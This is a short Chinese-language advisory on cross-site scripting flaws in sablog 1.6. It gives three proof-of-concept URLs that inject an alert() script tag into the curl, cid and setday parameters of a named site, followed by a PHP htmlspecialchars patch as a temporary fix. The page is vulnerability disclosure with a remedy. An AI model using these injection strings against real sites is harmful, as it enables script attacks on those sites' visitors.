sablog 1.6 多个跨站漏洞

2008-4-12 10:29 800 0

摘要: Version:sablog 1.6由于过滤不严，存在多个跨站漏洞PS: 以下是引用片段：http://www.amxku.net/?viewmode=list&curl=>...

关键词： modelink htmlspecialchars nbsp setday action amp setdate curl item searchid

Version:sablog 1.6由于过滤不严，存在多个跨站漏洞PS: 以下是引用片段：http://www.amxku.net/?viewmode=list&curl=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>http://www.amxku.net/?action=index&cid=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>http://www.amxku.net/?action=index&setdate=200804&setday=>"><ScRiPt%20%0a%0d>alert(amxku)%3B</ScRiPt>&page=1临时解决办法：在global.php中过滤curl，cid，setday等 $modelink = '';if ($action) { $modelink .= '&action='.$action;}if ($curl) { $modelink .= '&curl='.htmlspecialchars($curl);}if ($cid) { $modelink .= '&cid='.htmlspecialchars($cid);}if ($setdate) { $modelink .= '&setdate='.htmlspecialchars($setdate);}if ($setday) { $modelink .= '&setday='.htmlspecialchars($setday);}if (intval($_GET['searchid'])) { $modelink .= '&searchid='.htmlspecialchars($_GET['searchid']);}if (intval($_GET['userid'])) { $modelink .= "&userid=".htmlspecialchars($_GET['userid']);}if ($_GET['item']) { $item = urlencode(addslashes($item)); $modelink .= '&item='.$item;}

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除